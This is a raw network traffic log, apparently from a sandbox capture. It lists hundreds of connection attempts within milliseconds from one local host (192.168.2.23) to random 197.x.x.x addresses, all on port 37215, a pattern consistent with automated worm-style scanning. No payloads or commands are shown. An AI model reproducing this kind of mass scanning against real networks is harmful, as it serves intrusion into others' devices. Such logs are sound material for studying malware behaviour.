Feb 20, 2022 16:02:42.551023006 CET	27221	37215	192.168.2.23	197.185.65.120
Feb 20, 2022 16:02:42.551043034 CET	27477	37215	192.168.2.23	197.236.248.6
Feb 20, 2022 16:02:42.551067114 CET	27221	37215	192.168.2.23	197.252.92.61
Feb 20, 2022 16:02:42.551080942 CET	27221	37215	192.168.2.23	197.166.0.15
Feb 20, 2022 16:02:42.551085949 CET	27477	37215	192.168.2.23	197.199.43.146
Feb 20, 2022 16:02:42.551098108 CET	27477	37215	192.168.2.23	197.126.190.20
Feb 20, 2022 16:02:42.551105022 CET	27477	37215	192.168.2.23	197.2.249.186
Feb 20, 2022 16:02:42.551110029 CET	27221	37215	192.168.2.23	197.58.21.236
Feb 20, 2022 16:02:42.551125050 CET	27221	37215	192.168.2.23	197.57.130.100
Feb 20, 2022 16:02:42.551139116 CET	27477	37215	192.168.2.23	197.242.88.152
Feb 20, 2022 16:02:42.551158905 CET	27221	37215	192.168.2.23	197.129.125.160
Feb 20, 2022 16:02:42.551161051 CET	27477	37215	192.168.2.23	197.10.101.151
Feb 20, 2022 16:02:42.551181078 CET	27221	37215	192.168.2.23	197.65.194.89
Feb 20, 2022 16:02:42.551183939 CET	27477	37215	192.168.2.23	197.101.158.34
Feb 20, 2022 16:02:42.551209927 CET	27221	37215	192.168.2.23	197.55.92.59
Feb 20, 2022 16:02:42.551211119 CET	27477	37215	192.168.2.23	197.109.213.188
Feb 20, 2022 16:02:42.551229954 CET	27221	37215	192.168.2.23	197.208.216.134
Feb 20, 2022 16:02:42.551243067 CET	27477	37215	192.168.2.23	197.194.206.99
Feb 20, 2022 16:02:42.551249027 CET	27221	37215	192.168.2.23	197.189.241.27
Feb 20, 2022 16:02:42.551274061 CET	27477	37215	192.168.2.23	197.171.17.189
Feb 20, 2022 16:02:42.551290989 CET	27477	37215	192.168.2.23	197.176.176.93
Feb 20, 2022 16:02:42.551323891 CET	27221	37215	192.168.2.23	197.15.116.234
Feb 20, 2022 16:02:42.551326036 CET	27221	37215	192.168.2.23	197.113.224.68
Feb 20, 2022 16:02:42.551326990 CET	27221	37215	192.168.2.23	197.182.42.101
Feb 20, 2022 16:02:42.551352024 CET	27477	37215	192.168.2.23	197.29.178.41
Feb 20, 2022 16:02:42.551356077 CET	27477	37215	192.168.2.23	197.40.26.91
Feb 20, 2022 16:02:42.551367998 CET	27221	37215	192.168.2.23	197.28.112.6
Feb 20, 2022 16:02:42.551369905 CET	27477	37215	192.168.2.23	197.38.208.166
Feb 20, 2022 16:02:42.551372051 CET	27221	37215	192.168.2.23	197.143.134.49
Feb 20, 2022 16:02:42.551392078 CET	27221	37215	192.168.2.23	197.116.223.121
Feb 20, 2022 16:02:42.551398039 CET	27477	37215	192.168.2.23	197.169.34.57
Feb 20, 2022 16:02:42.551414013 CET	27221	37215	192.168.2.23	197.62.55.6
Feb 20, 2022 16:02:42.551419020 CET	27477	37215	192.168.2.23	197.224.5.155
Feb 20, 2022 16:02:42.551438093 CET	27221	37215	192.168.2.23	197.42.162.234
Feb 20, 2022 16:02:42.551448107 CET	27477	37215	192.168.2.23	197.223.254.143
Feb 20, 2022 16:02:42.551469088 CET	27221	37215	192.168.2.23	197.163.230.234
Feb 20, 2022 16:02:42.551476955 CET	27477	37215	192.168.2.23	197.165.109.146
Feb 20, 2022 16:02:42.551487923 CET	27477	37215	192.168.2.23	197.75.207.181
Feb 20, 2022 16:02:42.551502943 CET	27221	37215	192.168.2.23	197.134.66.135
Feb 20, 2022 16:02:42.551518917 CET	27477	37215	192.168.2.23	197.194.140.158
Feb 20, 2022 16:02:42.551537991 CET	27221	37215	192.168.2.23	197.222.94.204
Feb 20, 2022 16:02:42.551549911 CET	27477	37215	192.168.2.23	197.62.54.25
Feb 20, 2022 16:02:42.551551104 CET	27221	37215	192.168.2.23	197.155.31.67
Feb 20, 2022 16:02:42.551553011 CET	27477	37215	192.168.2.23	197.50.128.13
Feb 20, 2022 16:02:42.551575899 CET	27221	37215	192.168.2.23	197.115.149.131
Feb 20, 2022 16:02:42.551583052 CET	27477	37215	192.168.2.23	197.142.165.54
Feb 20, 2022 16:02:42.551613092 CET	27477	37215	192.168.2.23	197.112.88.223
Feb 20, 2022 16:02:42.551634073 CET	27221	37215	192.168.2.23	197.251.28.32
Feb 20, 2022 16:02:42.551635027 CET	27221	37215	192.168.2.23	197.196.238.172
Feb 20, 2022 16:02:42.551655054 CET	27477	37215	192.168.2.23	197.156.246.22
Feb 20, 2022 16:02:42.551659107 CET	27477	37215	192.168.2.23	197.150.69.217
Feb 20, 2022 16:02:42.551667929 CET	27221	37215	192.168.2.23	197.53.208.195
Feb 20, 2022 16:02:42.551681042 CET	27221	37215	192.168.2.23	197.101.193.231
Feb 20, 2022 16:02:42.551692009 CET	27477	37215	192.168.2.23	197.150.58.172
Feb 20, 2022 16:02:42.551711082 CET	27477	37215	192.168.2.23	197.76.1.164
Feb 20, 2022 16:02:42.551721096 CET	27221	37215	192.168.2.23	197.180.167.52
Feb 20, 2022 16:02:42.551747084 CET	27477	37215	192.168.2.23	197.93.105.177
Feb 20, 2022 16:02:42.551770926 CET	27477	37215	192.168.2.23	197.241.210.116
Feb 20, 2022 16:02:42.551778078 CET	27221	37215	192.168.2.23	197.30.98.116
Feb 20, 2022 16:02:42.551795006 CET	27477	37215	192.168.2.23	197.55.229.170
Feb 20, 2022 16:02:42.551860094 CET	27477	37215	192.168.2.23	197.41.77.84
Feb 20, 2022 16:02:42.551883936 CET	27477	37215	192.168.2.23	197.82.233.120
Feb 20, 2022 16:02:42.551983118 CET	27477	37215	192.168.2.23	197.179.86.172
Feb 20, 2022 16:02:42.551985025 CET	27477	37215	192.168.2.23	197.239.22.125
Feb 20, 2022 16:02:42.551985025 CET	27477	37215	192.168.2.23	197.45.119.233
Feb 20, 2022 16:02:42.551999092 CET	27477	37215	192.168.2.23	197.198.68.51
Feb 20, 2022 16:02:42.552000046 CET	27477	37215	192.168.2.23	197.74.82.41
Feb 20, 2022 16:02:42.552010059 CET	27477	37215	192.168.2.23	197.30.173.63
Feb 20, 2022 16:02:42.552011013 CET	27477	37215	192.168.2.23	197.13.48.78
Feb 20, 2022 16:02:42.552093983 CET	27477	37215	192.168.2.23	197.101.122.169
Feb 20, 2022 16:02:42.552109003 CET	27477	37215	192.168.2.23	197.114.69.254
Feb 20, 2022 16:02:42.552172899 CET	27477	37215	192.168.2.23	197.117.44.195
Feb 20, 2022 16:02:42.552190065 CET	27477	37215	192.168.2.23	197.216.168.204
Feb 20, 2022 16:02:42.552192926 CET	27477	37215	192.168.2.23	197.243.185.237
Feb 20, 2022 16:02:42.552194118 CET	27221	37215	192.168.2.23	197.80.23.239
Feb 20, 2022 16:02:42.552195072 CET	27477	37215	192.168.2.23	197.92.110.158
Feb 20, 2022 16:02:42.552213907 CET	27477	37215	192.168.2.23	197.34.109.50
Feb 20, 2022 16:02:42.552220106 CET	27477	37215	192.168.2.23	197.73.11.50
Feb 20, 2022 16:02:42.552221060 CET	27221	37215	192.168.2.23	197.111.169.45
Feb 20, 2022 16:02:42.552232027 CET	27477	37215	192.168.2.23	197.6.57.45
Feb 20, 2022 16:02:42.552238941 CET	27221	37215	192.168.2.23	197.34.96.123
Feb 20, 2022 16:02:42.552318096 CET	27221	37215	192.168.2.23	197.230.250.251
Feb 20, 2022 16:02:42.552321911 CET	27221	37215	192.168.2.23	197.247.111.154
Feb 20, 2022 16:02:42.552337885 CET	27477	37215	192.168.2.23	197.184.11.159
Feb 20, 2022 16:02:42.552340984 CET	27221	37215	192.168.2.23	197.237.107.5
Feb 20, 2022 16:02:42.552393913 CET	27477	37215	192.168.2.23	197.59.42.7
Feb 20, 2022 16:02:42.552406073 CET	27477	37215	192.168.2.23	197.69.14.107
Feb 20, 2022 16:02:42.552408934 CET	27477	37215	192.168.2.23	197.99.33.229
Feb 20, 2022 16:02:42.552416086 CET	27477	37215	192.168.2.23	197.105.238.148
Feb 20, 2022 16:02:42.552416086 CET	27477	37215	192.168.2.23	197.230.218.42
Feb 20, 2022 16:02:42.552421093 CET	27221	37215	192.168.2.23	197.81.217.41
Feb 20, 2022 16:02:42.552423000 CET	27221	37215	192.168.2.23	197.134.126.145
Feb 20, 2022 16:02:42.552431107 CET	27477	37215	192.168.2.23	197.136.50.26
Feb 20, 2022 16:02:42.552432060 CET	27221	37215	192.168.2.23	197.102.5.14
Feb 20, 2022 16:02:42.552433968 CET	27477	37215	192.168.2.23	197.165.120.247
Feb 20, 2022 16:02:42.552433968 CET	27221	37215	192.168.2.23	197.104.19.90
Feb 20, 2022 16:02:42.552450895 CET	27221	37215	192.168.2.23	197.241.56.200
Feb 20, 2022 16:02:42.552454948 CET	27221	37215	192.168.2.23	197.77.177.162
Feb 20, 2022 16:02:42.552457094 CET	27477	37215	192.168.2.23	197.87.220.177
Feb 20, 2022 16:02:42.552460909 CET	27477	37215	192.168.2.23	197.227.90.30
Feb 20, 2022 16:02:42.552462101 CET	27221	37215	192.168.2.23	197.104.38.118
Feb 20, 2022 16:02:42.552476883 CET	27221	37215	192.168.2.23	197.171.163.47
Feb 20, 2022 16:02:42.552484035 CET	27477	37215	192.168.2.23	197.67.242.111
Feb 20, 2022 16:02:42.552491903 CET	27221	37215	192.168.2.23	197.109.48.0
Feb 20, 2022 16:02:42.552650928 CET	27221	37215	192.168.2.23	197.106.193.75
Feb 20, 2022 16:02:42.552654028 CET	27477	37215	192.168.2.23	197.250.190.242
Feb 20, 2022 16:02:42.552658081 CET	27221	37215	192.168.2.23	197.211.109.36
Feb 20, 2022 16:02:42.552661896 CET	27477	37215	192.168.2.23	197.59.123.25
Feb 20, 2022 16:02:42.552670956 CET	27477	37215	192.168.2.23	197.148.7.176
Feb 20, 2022 16:02:42.552674055 CET	27477	37215	192.168.2.23	197.111.219.81
Feb 20, 2022 16:02:42.552683115 CET	27221	37215	192.168.2.23	197.149.33.85
Feb 20, 2022 16:02:42.552683115 CET	27477	37215	192.168.2.23	197.224.73.219
Feb 20, 2022 16:02:42.552685976 CET	27221	37215	192.168.2.23	197.171.25.101
Feb 20, 2022 16:02:42.552687883 CET	27477	37215	192.168.2.23	197.135.49.102
Feb 20, 2022 16:02:42.552695036 CET	27221	37215	192.168.2.23	197.149.226.31
Feb 20, 2022 16:02:42.552697897 CET	27221	37215	192.168.2.23	197.190.238.200
Feb 20, 2022 16:02:42.552706003 CET	27477	37215	192.168.2.23	197.103.191.172
Feb 20, 2022 16:02:42.552711964 CET	27221	37215	192.168.2.23	197.83.86.15
Feb 20, 2022 16:02:42.552712917 CET	27477	37215	192.168.2.23	197.233.91.195
Feb 20, 2022 16:02:42.552721977 CET	27221	37215	192.168.2.23	197.50.56.106
Feb 20, 2022 16:02:42.552725077 CET	27221	37215	192.168.2.23	197.141.39.220
Feb 20, 2022 16:02:42.552731991 CET	27477	37215	192.168.2.23	197.90.75.52
Feb 20, 2022 16:02:42.552733898 CET	27477	37215	192.168.2.23	197.50.59.35
Feb 20, 2022 16:02:42.552740097 CET	27221	37215	192.168.2.23	197.82.169.210
Feb 20, 2022 16:02:42.552742958 CET	27221	37215	192.168.2.23	197.43.251.200
Feb 20, 2022 16:02:42.552751064 CET	27221	37215	192.168.2.23	197.24.43.71
Feb 20, 2022 16:02:42.552757978 CET	27477	37215	192.168.2.23	197.255.7.125
Feb 20, 2022 16:02:42.552758932 CET	27221	37215	192.168.2.23	197.118.109.197
Feb 20, 2022 16:02:42.552778006 CET	27477	37215	192.168.2.23	197.162.181.133
Feb 20, 2022 16:02:42.552778959 CET	27221	37215	192.168.2.23	197.19.94.4
Feb 20, 2022 16:02:42.552800894 CET	27477	37215	192.168.2.23	197.190.47.241
Feb 20, 2022 16:02:42.552825928 CET	27221	37215	192.168.2.23	197.252.243.0
Feb 20, 2022 16:02:42.552834034 CET	27221	37215	192.168.2.23	197.26.60.184
Feb 20, 2022 16:02:42.552839041 CET	27477	37215	192.168.2.23	197.176.254.131
Feb 20, 2022 16:02:42.552848101 CET	27221	37215	192.168.2.23	197.163.126.14
Feb 20, 2022 16:02:42.552999020 CET	27477	37215	192.168.2.23	197.224.221.10
Feb 20, 2022 16:02:42.553016901 CET	27477	37215	192.168.2.23	197.184.198.125
Feb 20, 2022 16:02:42.553016901 CET	27477	37215	192.168.2.23	197.132.237.86
Feb 20, 2022 16:02:42.553016901 CET	27221	37215	192.168.2.23	197.101.178.72
Feb 20, 2022 16:02:42.553035021 CET	27221	37215	192.168.2.23	197.201.223.173
Feb 20, 2022 16:02:42.553035975 CET	27477	37215	192.168.2.23	197.83.9.78
Feb 20, 2022 16:02:42.553040028 CET	27477	37215	192.168.2.23	197.58.72.62
Feb 20, 2022 16:02:42.553040028 CET	27477	37215	192.168.2.23	197.167.207.116
Feb 20, 2022 16:02:42.553051949 CET	27477	37215	192.168.2.23	197.95.23.239
Feb 20, 2022 16:02:42.553059101 CET	27477	37215	192.168.2.23	197.178.242.26
Feb 20, 2022 16:02:42.553060055 CET	27477	37215	192.168.2.23	197.196.215.83
Feb 20, 2022 16:02:42.553070068 CET	27221	37215	192.168.2.23	197.196.67.85
Feb 20, 2022 16:02:42.553083897 CET	27477	37215	192.168.2.23	197.212.205.141
Feb 20, 2022 16:02:42.553086996 CET	27221	37215	192.168.2.23	197.135.240.122
Feb 20, 2022 16:02:42.553107977 CET	27477	37215	192.168.2.23	197.158.250.56
Feb 20, 2022 16:02:42.553124905 CET	27221	37215	192.168.2.23	197.77.58.221
Feb 20, 2022 16:02:42.553131104 CET	27221	37215	192.168.2.23	197.99.144.171
Feb 20, 2022 16:02:42.553137064 CET	27477	37215	192.168.2.23	197.240.124.64
Feb 20, 2022 16:02:42.553286076 CET	27221	37215	192.168.2.23	197.154.2.213
Feb 20, 2022 16:02:42.553297043 CET	27221	37215	192.168.2.23	197.149.131.49
Feb 20, 2022 16:02:42.553307056 CET	27477	37215	192.168.2.23	197.189.103.130
Feb 20, 2022 16:02:42.553308964 CET	27477	37215	192.168.2.23	197.84.117.101
Feb 20, 2022 16:02:42.553313017 CET	27221	37215	192.168.2.23	197.13.59.76
Feb 20, 2022 16:02:42.553316116 CET	27221	37215	192.168.2.23	197.212.14.181
Feb 20, 2022 16:02:42.553316116 CET	27221	37215	192.168.2.23	197.183.177.218
Feb 20, 2022 16:02:42.553324938 CET	27477	37215	192.168.2.23	197.44.45.241
Feb 20, 2022 16:02:42.553327084 CET	27477	37215	192.168.2.23	197.16.20.155
Feb 20, 2022 16:02:42.553337097 CET	27221	37215	192.168.2.23	197.204.16.124
Feb 20, 2022 16:02:42.553340912 CET	27477	37215	192.168.2.23	197.101.194.172
Feb 20, 2022 16:02:42.553344011 CET	27477	37215	192.168.2.23	197.87.25.74
Feb 20, 2022 16:02:42.553356886 CET	27221	37215	192.168.2.23	197.163.231.186
Feb 20, 2022 16:02:42.553361893 CET	27477	37215	192.168.2.23	197.224.205.20
Feb 20, 2022 16:02:42.553364038 CET	27221	37215	192.168.2.23	197.31.93.94
Feb 20, 2022 16:02:42.553370953 CET	27221	37215	192.168.2.23	197.48.124.75
Feb 20, 2022 16:02:42.553373098 CET	27477	37215	192.168.2.23	197.105.247.46
Feb 20, 2022 16:02:42.553374052 CET	27221	37215	192.168.2.23	197.130.188.252
Feb 20, 2022 16:02:42.553380966 CET	27221	37215	192.168.2.23	197.181.0.88
Feb 20, 2022 16:02:42.553388119 CET	27477	37215	192.168.2.23	197.228.91.64
Feb 20, 2022 16:02:42.553390980 CET	27477	37215	192.168.2.23	197.243.130.24
Feb 20, 2022 16:02:42.553400993 CET	27477	37215	192.168.2.23	197.184.17.188
Feb 20, 2022 16:02:42.553402901 CET	27477	37215	192.168.2.23	197.169.193.155
Feb 20, 2022 16:02:42.553426027 CET	27477	37215	192.168.2.23	197.168.113.250
Feb 20, 2022 16:02:42.553430080 CET	27221	37215	192.168.2.23	197.100.101.151
Feb 20, 2022 16:02:42.553437948 CET	27221	37215	192.168.2.23	197.105.176.170
Feb 20, 2022 16:02:42.553438902 CET	27477	37215	192.168.2.23	197.245.135.218
Feb 20, 2022 16:02:42.553463936 CET	27221	37215	192.168.2.23	197.104.120.19
Feb 20, 2022 16:02:42.553464890 CET	27221	37215	192.168.2.23	197.52.110.54
Feb 20, 2022 16:02:42.553472996 CET	27477	37215	192.168.2.23	197.144.30.168
Feb 20, 2022 16:02:42.553483963 CET	27477	37215	192.168.2.23	197.223.241.59
Feb 20, 2022 16:02:42.553486109 CET	27221	37215	192.168.2.23	197.108.24.137
Feb 20, 2022 16:02:42.553504944 CET	27477	37215	192.168.2.23	197.4.230.110
Feb 20, 2022 16:02:42.553509951 CET	27221	37215	192.168.2.23	197.131.48.206
Feb 20, 2022 16:02:42.553673029 CET	27221	37215	192.168.2.23	197.56.160.179
Feb 20, 2022 16:02:42.553675890 CET	27221	37215	192.168.2.23	197.111.137.80
Feb 20, 2022 16:02:42.553677082 CET	27221	37215	192.168.2.23	197.205.186.0
Feb 20, 2022 16:02:42.553678036 CET	27477	37215	192.168.2.23	197.132.42.113
Feb 20, 2022 16:02:42.553697109 CET	27221	37215	192.168.2.23	197.226.69.148
Feb 20, 2022 16:02:42.553703070 CET	27477	37215	192.168.2.23	197.144.105.200
Feb 20, 2022 16:02:42.553704023 CET	27221	37215	192.168.2.23	197.244.238.156
Feb 20, 2022 16:02:42.553703070 CET	27477	37215	192.168.2.23	197.141.158.164
Feb 20, 2022 16:02:42.553710938 CET	27477	37215	192.168.2.23	197.250.96.218
Feb 20, 2022 16:02:42.553710938 CET	27221	37215	192.168.2.23	197.238.238.230
Feb 20, 2022 16:02:42.553713083 CET	27477	37215	192.168.2.23	197.112.172.0
Feb 20, 2022 16:02:42.553719044 CET	27477	37215	192.168.2.23	197.146.64.70
Feb 20, 2022 16:02:42.553735018 CET	27477	37215	192.168.2.23	197.185.86.242
Feb 20, 2022 16:02:42.553735971 CET	27477	37215	192.168.2.23	197.21.64.238
Feb 20, 2022 16:02:42.553739071 CET	27477	37215	192.168.2.23	197.212.50.78
Feb 20, 2022 16:02:42.553744078 CET	27221	37215	192.168.2.23	197.139.149.200
Feb 20, 2022 16:02:42.553755045 CET	27221	37215	192.168.2.23	197.109.241.157
Feb 20, 2022 16:02:42.553756952 CET	27221	37215	192.168.2.23	197.67.10.182
Feb 20, 2022 16:02:42.553757906 CET	27221	37215	192.168.2.23	197.187.255.114
Feb 20, 2022 16:02:42.553772926 CET	27477	37215	192.168.2.23	197.124.145.139
Feb 20, 2022 16:02:42.553782940 CET	27221	37215	192.168.2.23	197.182.172.122
Feb 20, 2022 16:02:42.553783894 CET	27221	37215	192.168.2.23	197.141.179.97
Feb 20, 2022 16:02:42.553788900 CET	27477	37215	192.168.2.23	197.215.36.146
Feb 20, 2022 16:02:42.553792953 CET	27477	37215	192.168.2.23	197.209.252.181
Feb 20, 2022 16:02:42.553806067 CET	27221	37215	192.168.2.23	197.69.78.79
Feb 20, 2022 16:02:42.553824902 CET	27221	37215	192.168.2.23	197.142.60.14
Feb 20, 2022 16:02:42.553828955 CET	27477	37215	192.168.2.23	197.171.129.16
Feb 20, 2022 16:02:42.553841114 CET	27477	37215	192.168.2.23	197.14.61.137
Feb 20, 2022 16:02:42.553855896 CET	27221	37215	192.168.2.23	197.159.253.119
Feb 20, 2022 16:02:42.553886890 CET	27477	37215	192.168.2.23	197.76.36.47
Feb 20, 2022 16:02:42.553905964 CET	27221	37215	192.168.2.23	197.211.211.169
Feb 20, 2022 16:02:42.553910017 CET	27221	37215	192.168.2.23	197.93.188.101
Feb 20, 2022 16:02:42.553911924 CET	27477	37215	192.168.2.23	197.244.25.220
Feb 20, 2022 16:02:42.553915024 CET	27477	37215	192.168.2.23	197.15.10.45
Feb 20, 2022 16:02:42.553930998 CET	27477	37215	192.168.2.23	197.90.115.50
Feb 20, 2022 16:02:42.553932905 CET	27221	37215	192.168.2.23	197.66.145.128
Feb 20, 2022 16:02:42.553950071 CET	27221	37215	192.168.2.23	197.155.138.194
Feb 20, 2022 16:02:42.553962946 CET	27477	37215	192.168.2.23	197.221.9.66
Feb 20, 2022 16:02:42.553976059 CET	27221	37215	192.168.2.23	197.114.84.16
Feb 20, 2022 16:02:42.553988934 CET	27477	37215	192.168.2.23	197.175.248.11
Feb 20, 2022 16:02:42.554009914 CET	27221	37215	192.168.2.23	197.17.23.16
Feb 20, 2022 16:02:42.554142952 CET	27477	37215	192.168.2.23	197.206.179.232
Feb 20, 2022 16:02:42.554155111 CET	27477	37215	192.168.2.23	197.190.251.135
Feb 20, 2022 16:02:42.554156065 CET	27477	37215	192.168.2.23	197.38.86.233
Feb 20, 2022 16:02:42.554157972 CET	27221	37215	192.168.2.23	197.185.136.115
Feb 20, 2022 16:02:42.554172039 CET	27477	37215	192.168.2.23	197.102.238.50
Feb 20, 2022 16:02:42.554177999 CET	27477	37215	192.168.2.23	197.43.81.10
Feb 20, 2022 16:02:42.554179907 CET	27221	37215	192.168.2.23	197.79.54.233
Feb 20, 2022 16:02:42.554198027 CET	27477	37215	192.168.2.23	197.40.141.225
Feb 20, 2022 16:02:42.554210901 CET	27477	37215	192.168.2.23	197.83.102.42
Feb 20, 2022 16:02:42.554212093 CET	27221	37215	192.168.2.23	197.159.188.242
Feb 20, 2022 16:02:42.554225922 CET	27477	37215	192.168.2.23	197.38.239.9
Feb 20, 2022 16:02:42.554239988 CET	27477	37215	192.168.2.23	197.146.230.248
Feb 20, 2022 16:02:42.554240942 CET	27221	37215	192.168.2.23	197.173.174.213
Feb 20, 2022 16:02:42.554255962 CET	27221	37215	192.168.2.23	197.13.144.120
Feb 20, 2022 16:02:42.554261923 CET	27477	37215	192.168.2.23	197.193.10.84
Feb 20, 2022 16:02:42.554276943 CET	27221	37215	192.168.2.23	197.97.50.172
Feb 20, 2022 16:02:42.554286003 CET	27477	37215	192.168.2.23	197.198.19.227
Feb 20, 2022 16:02:42.554295063 CET	27221	37215	192.168.2.23	197.91.146.23
Feb 20, 2022 16:02:42.554303885 CET	27477	37215	192.168.2.23	197.169.4.121
Feb 20, 2022 16:02:42.554475069 CET	27221	37215	192.168.2.23	197.72.86.160
Feb 20, 2022 16:02:42.554476976 CET	27221	37215	192.168.2.23	197.21.182.186
Feb 20, 2022 16:02:42.554480076 CET	27477	37215	192.168.2.23	197.31.48.105
Feb 20, 2022 16:02:42.554481030 CET	27221	37215	192.168.2.23	197.80.159.254
Feb 20, 2022 16:02:42.554481030 CET	27221	37215	192.168.2.23	197.99.14.107
Feb 20, 2022 16:02:42.554491997 CET	27477	37215	192.168.2.23	197.164.23.34
Feb 20, 2022 16:02:42.554497004 CET	27477	37215	192.168.2.23	197.138.31.238
Feb 20, 2022 16:02:42.554497004 CET	27477	37215	192.168.2.23	197.248.46.87
Feb 20, 2022 16:02:42.554506063 CET	27221	37215	192.168.2.23	197.82.128.102
Feb 20, 2022 16:02:42.554506063 CET	27477	37215	192.168.2.23	197.229.28.130
Feb 20, 2022 16:02:42.554508924 CET	27221	37215	192.168.2.23	197.119.45.241
Feb 20, 2022 16:02:42.554511070 CET	27221	37215	192.168.2.23	197.250.128.76
Feb 20, 2022 16:02:42.554512978 CET	27477	37215	192.168.2.23	197.3.89.134
Feb 20, 2022 16:02:42.554522038 CET	27477	37215	192.168.2.23	197.18.42.115
Feb 20, 2022 16:02:42.554527998 CET	27221	37215	192.168.2.23	197.130.151.73
Feb 20, 2022 16:02:42.554531097 CET	27477	37215	192.168.2.23	197.115.143.114
Feb 20, 2022 16:02:42.554533958 CET	27221	37215	192.168.2.23	197.83.118.60
Feb 20, 2022 16:02:42.554549932 CET	27221	37215	192.168.2.23	197.1.219.186
Feb 20, 2022 16:02:42.554550886 CET	27477	37215	192.168.2.23	197.219.235.185
Feb 20, 2022 16:02:42.554552078 CET	27221	37215	192.168.2.23	197.223.33.111
Feb 20, 2022 16:02:42.554573059 CET	27477	37215	192.168.2.23	197.51.189.126
Feb 20, 2022 16:02:42.554575920 CET	27477	37215	192.168.2.23	197.121.65.109
Feb 20, 2022 16:02:42.554585934 CET	27221	37215	192.168.2.23	197.58.17.33
Feb 20, 2022 16:02:42.554589033 CET	27221	37215	192.168.2.23	197.78.22.139
Feb 20, 2022 16:02:42.554600000 CET	27477	37215	192.168.2.23	197.43.29.93
Feb 20, 2022 16:02:42.554739952 CET	27477	37215	192.168.2.23	197.198.98.2
Feb 20, 2022 16:02:42.554745913 CET	27221	37215	192.168.2.23	197.130.216.169
Feb 20, 2022 16:02:42.554752111 CET	27221	37215	192.168.2.23	197.155.231.57
Feb 20, 2022 16:02:42.554753065 CET	27221	37215	192.168.2.23	197.166.216.1
Feb 20, 2022 16:02:42.554759979 CET	27221	37215	192.168.2.23	197.191.245.253
Feb 20, 2022 16:02:42.554761887 CET	27477	37215	192.168.2.23	197.56.136.47
Feb 20, 2022 16:02:42.554764032 CET	27221	37215	192.168.2.23	197.127.26.164
Feb 20, 2022 16:02:42.554770947 CET	27477	37215	192.168.2.23	197.86.199.177
Feb 20, 2022 16:02:42.554775000 CET	27221	37215	192.168.2.23	197.103.184.251
Feb 20, 2022 16:02:42.554775953 CET	27477	37215	192.168.2.23	197.97.186.203
Feb 20, 2022 16:02:42.554775953 CET	27477	37215	192.168.2.23	197.157.227.120
Feb 20, 2022 16:02:42.554780006 CET	27477	37215	192.168.2.23	197.95.203.35
Feb 20, 2022 16:02:42.554785013 CET	27221	37215	192.168.2.23	197.121.250.90
Feb 20, 2022 16:02:42.554785013 CET	27221	37215	192.168.2.23	197.37.35.125
Feb 20, 2022 16:02:42.554785967 CET	27221	37215	192.168.2.23	197.93.195.101
Feb 20, 2022 16:02:42.554800034 CET	27477	37215	192.168.2.23	197.38.96.13
Feb 20, 2022 16:02:42.554804087 CET	27477	37215	192.168.2.23	197.239.118.41
Feb 20, 2022 16:02:42.554811001 CET	27477	37215	192.168.2.23	197.67.241.140
Feb 20, 2022 16:02:42.554816008 CET	27477	37215	192.168.2.23	197.60.152.132
Feb 20, 2022 16:02:42.554827929 CET	27221	37215	192.168.2.23	197.58.99.198
Feb 20, 2022 16:02:42.554837942 CET	27477	37215	192.168.2.23	197.6.146.211
Feb 20, 2022 16:02:42.554858923 CET	27221	37215	192.168.2.23	197.23.148.197
Feb 20, 2022 16:02:42.554860115 CET	27221	37215	192.168.2.23	197.37.244.43
Feb 20, 2022 16:02:42.554867029 CET	27221	37215	192.168.2.23	197.50.83.164
Feb 20, 2022 16:02:42.554876089 CET	27477	37215	192.168.2.23	197.115.137.169
Feb 20, 2022 16:02:42.554883003 CET	27221	37215	192.168.2.23	197.115.214.58
Feb 20, 2022 16:02:42.554913044 CET	27477	37215	192.168.2.23	197.245.236.9
Feb 20, 2022 16:02:42.554913998 CET	27221	37215	192.168.2.23	197.74.189.203
Feb 20, 2022 16:02:42.554924011 CET	27477	37215	192.168.2.23	197.61.69.124
Feb 20, 2022 16:02:42.555080891 CET	27477	37215	192.168.2.23	197.167.207.120
Feb 20, 2022 16:02:42.555083036 CET	27477	37215	192.168.2.23	197.243.41.17
Feb 20, 2022 16:02:42.555093050 CET	27477	37215	192.168.2.23	197.1.64.20
Feb 20, 2022 16:02:42.555099964 CET	27477	37215	192.168.2.23	197.131.99.82
Feb 20, 2022 16:02:42.555099964 CET	27477	37215	192.168.2.23	197.251.128.143
Feb 20, 2022 16:02:42.555108070 CET	27477	37215	192.168.2.23	197.227.244.198
Feb 20, 2022 16:02:42.555109978 CET	27477	37215	192.168.2.23	197.70.121.211
Feb 20, 2022 16:02:42.555114985 CET	27477	37215	192.168.2.23	197.241.205.209
Feb 20, 2022 16:02:42.555126905 CET	27477	37215	192.168.2.23	197.29.135.83
Feb 20, 2022 16:02:42.555130005 CET	27221	37215	192.168.2.23	197.122.252.204
Feb 20, 2022 16:02:42.555135965 CET	27221	37215	192.168.2.23	197.170.31.205
Feb 20, 2022 16:02:42.555138111 CET	27477	37215	192.168.2.23	197.172.66.84
Feb 20, 2022 16:02:42.555146933 CET	27221	37215	192.168.2.23	197.144.187.19
Feb 20, 2022 16:02:42.555151939 CET	27221	37215	192.168.2.23	197.92.164.87
Feb 20, 2022 16:02:42.555155993 CET	27221	37215	192.168.2.23	197.252.1.243
Feb 20, 2022 16:02:42.555159092 CET	27477	37215	192.168.2.23	197.120.14.83
Feb 20, 2022 16:02:42.555180073 CET	27221	37215	192.168.2.23	197.111.56.255
Feb 20, 2022 16:02:42.555188894 CET	27477	37215	192.168.2.23	197.46.112.198
Feb 20, 2022 16:02:42.555210114 CET	27221	37215	192.168.2.23	197.211.176.19
Feb 20, 2022 16:02:42.555212021 CET	27477	37215	192.168.2.23	197.93.121.232
Feb 20, 2022 16:02:42.555229902 CET	27477	37215	192.168.2.23	197.51.245.167
Feb 20, 2022 16:02:42.555250883 CET	27221	37215	192.168.2.23	197.178.66.111
Feb 20, 2022 16:02:42.555388927 CET	27221	37215	192.168.2.23	197.197.11.73
Feb 20, 2022 16:02:42.555401087 CET	27221	37215	192.168.2.23	197.174.246.84
Feb 20, 2022 16:02:42.555406094 CET	27221	37215	192.168.2.23	197.179.74.110
Feb 20, 2022 16:02:42.555408955 CET	27477	37215	192.168.2.23	197.68.181.225
Feb 20, 2022 16:02:42.555411100 CET	27221	37215	192.168.2.23	197.54.155.28
Feb 20, 2022 16:02:42.555412054 CET	27221	37215	192.168.2.23	197.114.176.227
Feb 20, 2022 16:02:42.555414915 CET	27221	37215	192.168.2.23	197.237.194.153
Feb 20, 2022 16:02:42.555430889 CET	27477	37215	192.168.2.23	197.195.47.2
Feb 20, 2022 16:02:42.555433035 CET	27477	37215	192.168.2.23	197.170.160.173
Feb 20, 2022 16:02:42.555433035 CET	27221	37215	192.168.2.23	197.165.252.145
